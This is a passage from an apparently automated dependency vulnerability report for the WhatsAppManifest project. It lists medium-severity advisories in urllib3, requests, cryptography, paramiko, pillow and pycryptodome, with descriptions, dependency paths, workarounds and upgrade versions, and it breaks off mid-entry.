NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

  1. HTTP → HTTPS: leak

  2. HTTPS → HTTP: no leak

  3. HTTPS → HTTPS: leak

  4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a urllib3@1.26.5
    Remediation: Upgrade to urllib3@1.26.19.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a uiautomator@0.3.6 urllib3@1.26.5
    Remediation: Upgrade to uiautomator@0.3.6.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a urllib3@1.26.5
    Remediation: Upgrade to urllib3@2.5.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a uiautomator@0.3.6 urllib3@1.26.5
    Remediation: Upgrade to uiautomator@0.3.6.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). If an X.509 certificate contains a malformed policy constraint and policy processing is enabled, then a write lock will be taken twice recursively. On some operating systems (most widely: Windows), this results in a denial of service when the affected process hangs.

NOTE: Policy processing being enabled on a publicly-facing server is not considered to be a common setup.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a read buffer overflow in certificate name constraint checking in x509/v3_ncons.c. This occurs after certificate chain signature verification, and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a double free after calling the PEM_read_bio_ex() function. An attacker who supplies a malicious PEM file with a 0-length payload can trigger a crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an invalid pointer dereference in the d2i_PKCS7(), d2i_PKCS7_bio() and d2i_PKCS7_fp(). An attacker could trigger a crash by supplying malicious PKCS7 data.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null dereference when validating DSA public keys in the EVP_PKEY_public_check() function.

NOTE: The TLS implementation in OpenSSL does not call this function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when processing specially crafted ASN.1 objects identifiers. Applications that use OBJ_obj2txt() directly, or use any of the OpenSSL subsystems OCSP, PKCS7/SMIME, CMS, CMP/CRMF or TS with no message size limit may experience notable to very long delays when processing those messages, which may lead to a exploitation of this vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.0 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Timing Attack. It is vulnerable to Bleichenbacher timing attacks in the RSA decryption API, via timed processing of valid PKCS#1 v1.5 ciphertext (Marvin).

Notes:

  1. Version 3.2 of this package contains an incomplete fix, which might help reduce the chances of this vulnerability being exploited. We recommend updating to version 42.0.0 for the complete fix, as advised in the advisory for CVE-2023-50782.

  2. This vulnerability presents a moderate severity concern due to its specific impact on applications utilizing RSA decryption with PKCS#1 v1.5 padding. While the vulnerability could potentially lead to leakage in RSA decryption operations, its severity is downgraded to medium by several factors. Firstly, the exploitability of the vulnerability is limited to scenarios where RSA decryption with PKCS#1 v1.5 padding is employed, narrowing the scope of affected systems. Additionally, the implementation of implicit rejection, such as the Marvin workaround, provides a viable mitigation strategy.

Remediation

Upgrade cryptography to version 3.2 or higher.

References

medium severity

Use After Free

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Use After Free in the BIO_new_NDEF() function. A new filter BIO can be freed, with the function returning a NULL result indicating a failure. But the BIO passed by the caller still holds pointers to the previously freed filter BIO. This could allow an attacker to cause a crash.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Authentication Bypass by Capture-replay

  • Vulnerable module: paramiko
  • Introduced through: paramiko@2.10.1 and sshtunnel@0.1.5

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1
    Remediation: Upgrade to paramiko@3.4.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

paramiko is a library for making SSH2 connections (client or server).

Affected versions of this package are vulnerable to Authentication Bypass by Capture-replay during the establishment of the secure channel. An attacker can manipulate handshake sequence numbers to delete messages sent immediately after the channel is established.

Note:

  1. Sequence numbers are only validated once the channel is established and arbitrary messages are allowed during the handshake, allowing them to manipulate the sequence numbers.

  2. The potential consequences of the general Terrapin attack are dependent on the messages exchanged after the handshake concludes. If you are using a custom SSH service and do not resort to the authentication protocol, you should check that dropping the first few messages of a connection does not yield security risks.

Impact:

While cryptographically novel, there is no discernable impact on the integrity of SSH traffic beyond giving the attacker the ability to delete the message that enables some features related to keystroke timing obfuscation. To successfully carry out the exploitation, the connection needs to be protected using either the ChaCha20-Poly1305 or CBC with Encrypt-then-MAC encryption methods. The attacker must also be able to intercept and modify the connection's traffic.

Workaround

Temporarily disable the affected chacha20-poly1305@openssh.com encryption and *-etm@openssh.com MAC algorithms in the affected configuration, and use unaffected algorithms like AES-GCM instead.

Remediation

Upgrade paramiko to version 3.4.0 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@10.3.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@9.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). The JpegImagePlugin may append an EOF marker to the end of a truncated file, so that the last segment of the data will still be processed by the decoder. If the EOF marker is not detected as such, this can lead to an infinite loop where JpegImagePlugin keeps trying to end the file.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 9.0.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@9.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a missing GIF decompression bomb check.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 9.2.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@9.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a missing GIF decompression bomb check.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 9.2.0 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@9.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Improper Input Validation. When the path to the temporary directory on Linux or macOS contained a space, this would break removal of the temporary image file after im.show() (and related actions), and potentially remove an unrelated file.

Remediation

Upgrade Pillow to version 9.0.1 or higher.

References

medium severity

Out-of-bounds Write

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Write via OOB Write in TiffDecode.c when reading corrupt YCbCr files. This happens because of certain interpretation conflicts with LibTIFF in RGBA mode.

Remediation

Upgrade Pillow to version 8.1.0 or higher.

References

medium severity

Observable Timing Discrepancy

  • Vulnerable module: pycryptodome
  • Introduced through: pycryptodome@3.9.7

Detailed paths

